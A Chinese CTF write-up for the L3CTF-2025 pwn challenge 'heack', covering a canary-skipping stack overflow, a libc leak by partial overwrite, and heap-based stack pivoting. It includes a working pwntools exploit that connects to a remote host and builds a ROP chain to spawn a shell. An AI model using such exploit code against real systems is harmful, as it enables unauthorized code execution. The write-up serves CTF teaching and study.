首页
社区
课程
招聘
[原创]L3CTF-2025:heack
发表于: 2025-7-15 12:17 2990

[原创]L3CTF-2025:heack

2025-7-15 12:17
2990

本来只有一道heack,但似乎原版检查比较松弛导致大量非预期解,从而出现了heack_revenge

抛去原版能够通过巧合的手段非预期解,本题的堆栈结合可以说是个很综合的题目

首先检查elf的保护

放入IDA中查看

图片描述

可以看到是一个菜单题,其中第一个选项就可以看到栈溢出

图片描述

我们可以观察到间接索引v4位于buf的高地址,可以被覆

使用如下payload覆盖v4低字节,可以跳过canary直接修改返回地址

payload=b'a'*0x103+p8(0x17)+p64(ret_addr)

但是由于保护全开,我们还需要libc的地址

观察game函数,发现有很多打印函数printf使用了%lu的格式化符号,所以可以假设通过将fight_dragon跳转到这些打印函数中将残留在寄存器中的libc地址打印出来

图片描述

不巧的是二者有两个字节不一样,由于PIE遵循页对其机制,我们还需要爆破半个字节(1/16)

当我们成功返回到printf时,观察gdb发现,rsi中正好有个libc地址

图片描述

此时我们就得到了libc,再次溢出后构造ROP即可getshell

elf的保护和逻辑没有变化,只是增加了栈溢出长度的限制(p8(xx))与溢出次数(1次)的限制

图片描述

我们回头观察game函数中的奇怪的三个赋值操作

图片描述

图片描述

这使得text片段中出现了一些特定的机器码序列,我们可以通过这个联想到magic gadget:通过对text错位得到特殊功能的gadget

我们在gdb中观察一下

pop rbp算是附近最特殊的gadget,可以进行栈迁移,但是搞清这个gadget的具体作用我们还需要继续审计代码

case 5中,维护着一个堆块管理系统note_system(s);

包含add,freeshow操作,本身不存在漏洞,堆块管理数组位于game函数的栈帧内

通过gdbIDA观察可以发现堆块管理数组位于game函数栈帧的低地址处

如果此时回到game后调用栈溢出函数,返回到pop rbp,我们就可以把rbp设置为堆地址,实现栈迁移

图片描述

此时如果我们能在堆中写入ROP,再从game中返回就可以控制执行流

图片描述

chunk[0]指向的地址会被设置为RBP,由于rbp被改变,最开始的chunk_list会改变,我们就无法直接操作原始chunk[0]

如果我们可以溢出写比rbp低地址处的堆块,我们就最终可以控制RSP

本题的重中之重便是 临时变量的地址是根据rbp决定的

知道了这一点,原本game中看似无用的选项便可以称为改变,泄露heap中数值的工具

经过简单的堆风水后我们便可以让unsortbinsfd指针与这几个栈变量重合,打印出libc地址

同时我们还可以将chunk头的size域与v3重合,这样可以让某个堆块大小变大,再经过freemalloc操作即可实现堆溢出

ROP写到chunk[0]

此时我们可以看到,成功堆溢出,将ROP写到chunk[0]

图片描述

此时退出note_system,返回game便可以指向ROP

图片描述

[*] '/home/zer00ne/Desktop/New Folder/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/home/zer00ne/Desktop/New Folder/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
from pwn import *
#io=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
def bug():
    gdb.attach(io)
def ch2(Id):
    io.sendlineafter(b"Choose an option: ",str(Id).encode())
def add(Id,size,payload):
    ch2(1)
    io.sendlineafter(b"Enter index (0-15): ",str(Id).encode())
    io.sendlineafter(b"Enter diary content size (1-2048): ",str(size).encode())
    io.sendafter(b"Input your content: ",payload)
def free(Id):
    ch2(2)
    io.sendlineafter(b"Enter index to destroy (0-15): ",str(Id).encode())
def show(Id):
    ch2(3)
    io.sendlineafter(b"Enter index to view (0-15): ",str(Id).encode())
def over(payload):
    io.sendlineafter(b"> ",b"1")
    io.sendafter(b"You grip your sword and shout:",payload)
def pwn():
    over(b'a'*0x103+p8(0x17))
    io.send(p16(0x591A))
    bug()
    io.sendline()
    io.recvuntil(b"[Attack]: ")
    t=io.recvline()
    base=int(t[:-1],10)-0x204643
    print(f"libc_base==>{hex(base)}")
    system=base+libc.sym.system
    rdi=base+0x000000000010f75b
    bin_sh=base+next(libc.search(b"/bin/sh\x00"))
    payload=b'a'*0x103+p8(0x17)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system)
    over(payload)
    io.sendline()
while True:
    io=remote("1.95.34.119",9999)
    try:
        pwn()
        break
    except:
        io.close()
 
io.interactive()
from pwn import *
#io=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
def bug():
    gdb.attach(io)
def ch2(Id):
    io.sendlineafter(b"Choose an option: ",str(Id).encode())
def add(Id,size,payload):
    ch2(1)
    io.sendlineafter(b"Enter index (0-15): ",str(Id).encode())
    io.sendlineafter(b"Enter diary content size (1-2048): ",str(size).encode())
    io.sendafter(b"Input your content: ",payload)
def free(Id):
    ch2(2)
    io.sendlineafter(b"Enter index to destroy (0-15): ",str(Id).encode())
def show(Id):
    ch2(3)
    io.sendlineafter(b"Enter index to view (0-15): ",str(Id).encode())
def over(payload):
    io.sendlineafter(b"> ",b"1")
    io.sendafter(b"You grip your sword and shout:",payload)
def pwn():
    over(b'a'*0x103+p8(0x17))
    io.send(p16(0x591A))
    bug()
    io.sendline()
    io.recvuntil(b"[Attack]: ")
    t=io.recvline()
    base=int(t[:-1],10)-0x204643
    print(f"libc_base==>{hex(base)}")
    system=base+libc.sym.system
    rdi=base+0x000000000010f75b
    bin_sh=base+next(libc.search(b"/bin/sh\x00"))
    payload=b'a'*0x103+p8(0x17)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system)
    over(payload)
    io.sendline()
while True:
    io=remote("1.95.34.119",9999)
    try:
        pwn()
        break
    except:
        io.close()
 
io.interactive()
pwndbg> x/5i 0x555555554000+0x1867+3
   0x55555555586a <game+65>:  pop    rbp
   0x55555555586b <game+66>:  nop    DWORD PTR [rax]
   0x55555555586e <game+69>:  mov    edx,DWORD PTR [rbp-0x18]
   0x555555555871 <game+72>:  mov    eax,DWORD PTR [rbp-0x14]
   0x555555555874 <game+75>:  xor    eax,edx
pwndbg> x/5i 0x555555554000+0x1867+3
   0x55555555586a <game+65>:  pop    rbp
   0x55555555586b <game+66>:  nop    DWORD PTR [rax]
   0x55555555586e <game+69>:  mov    edx,DWORD PTR [rbp-0x18]
   0x555555555871 <game+72>:  mov    eax,DWORD PTR [rbp-0x14]
   0x555555555874 <game+75>:  xor    eax,edx
while ( 1 )
{
    puts("\nDuring your grueling training, you feel compelled to document your thoughts...");
    puts("1. Write a new diary entry");
    puts("2. Destroy a diary entry");
    puts("3. View a diary entry");
    puts("4. Exit");
    printf("Choose an option: ");
    int_4bytes = read_int_4bytes();
    if ( int_4bytes == 4 )
      break;
    if ( int_4bytes > 4 )
      goto LABEL_28;
    switch ( int_4bytes )
    {
      case 3:
        printf("Enter index to view (0-%d): ", 15LL);
        v4 = read_int_4bytes();
        if ( v4 < 0x10 )
        {
          if ( *(_QWORD *)(8LL * (int)v4 + a1) )
          {
            printf("\n--- Diary Entry %d ---\n", v4);
            puts(*(const char **)(8LL * (int)v4 + a1));
            puts("----------------------");
          }
          else
          {
LABEL_21:
            puts("No diary exists at this index.");
          }
        }
        else
        {
LABEL_23:
          puts("Invalid index!");
        }
        break;
      case 1:
        printf("Enter index (0-%d): ", 15LL);
        v2 = read_int_4bytes();
        if ( (unsigned int)v2 >= 0x10 )
          goto LABEL_23;
        if ( *(_QWORD *)(8LL * v2 + a1) )
        {
          puts("This slot already contains a diary. Destroy it first.");
        }
        else
        {
          printf("Enter diary content size (1-2048): ");
          nbytes = read_int_4bytes();
          if ( nbytes && nbytes <= 0x800 )
          {
            *(_QWORD *)(8LL * v2 + a1) = malloc(nbytes + 1);
            if ( *(_QWORD *)(8LL * v2 + a1) )
            {
              nbytes_4 = malloc_usable_size(*(void **)(8LL * v2 + a1));
              memset(*(void **)(8LL * v2 + a1), 0, nbytes_4);
              printf("Input your content: ");
              v7 = read(0, *(void **)(8LL * v2 + a1), nbytes);
              if ( v7 <= 0 )
              {
                puts("Read failed!");
                free(*(void **)(8LL * v2 + a1));
                return;
              }
              *(_BYTE *)(*(_QWORD *)(8LL * v2 + a1) + v7) = 0;
              printf("Diary saved at index %d!\n", (unsigned int)v2);
              puts("You steel your resolve - these memoirs shall remain sealed until the dragon lies vanquished.");
            }
            else
            {
              puts("Failed to allocate memory for diary!");
            }
          }
          else
          {
            puts("Invalid size!");
          }
        }
        break;
      case 2:
        printf("Enter index to destroy (0-%d): ", 15LL);
        v3 = read_int_4bytes();
        if ( (unsigned int)v3 >= 0x10 )
          goto LABEL_23;
        if ( !*(_QWORD *)(8LL * v3 + a1) )
          goto LABEL_21;
        free(*(void **)(8LL * v3 + a1));
        *(_QWORD *)(8LL * v3 + a1) = 0LL;
        printf("Diary at index %d has been destroyed.\n", (unsigned int)v3);
        break;
      default:
LABEL_28:
        puts("Invalid choice!");
        break;
    }
  }
  puts("Exiting diary system. Goodbye, hero!");
}
while ( 1 )
{
    puts("\nDuring your grueling training, you feel compelled to document your thoughts...");
    puts("1. Write a new diary entry");
    puts("2. Destroy a diary entry");
    puts("3. View a diary entry");
    puts("4. Exit");
    printf("Choose an option: ");
    int_4bytes = read_int_4bytes();
    if ( int_4bytes == 4 )
      break;
    if ( int_4bytes > 4 )
      goto LABEL_28;
    switch ( int_4bytes )
    {
      case 3:
        printf("Enter index to view (0-%d): ", 15LL);
        v4 = read_int_4bytes();
        if ( v4 < 0x10 )
        {
          if ( *(_QWORD *)(8LL * (int)v4 + a1) )
          {
            printf("\n--- Diary Entry %d ---\n", v4);
            puts(*(const char **)(8LL * (int)v4 + a1));
            puts("----------------------");
          }
          else
          {
LABEL_21:
            puts("No diary exists at this index.");
          }
        }
        else
        {
LABEL_23:
          puts("Invalid index!");
        }
        break;
      case 1:
        printf("Enter index (0-%d): ", 15LL);
        v2 = read_int_4bytes();
        if ( (unsigned int)v2 >= 0x10 )
          goto LABEL_23;
        if ( *(_QWORD *)(8LL * v2 + a1) )
        {
          puts("This slot already contains a diary. Destroy it first.");
        }
        else
        {
          printf("Enter diary content size (1-2048): ");
          nbytes = read_int_4bytes();
          if ( nbytes && nbytes <= 0x800 )
          {
            *(_QWORD *)(8LL * v2 + a1) = malloc(nbytes + 1);
            if ( *(_QWORD *)(8LL * v2 + a1) )
            {

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-7-15 12:24 被zer00ne编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回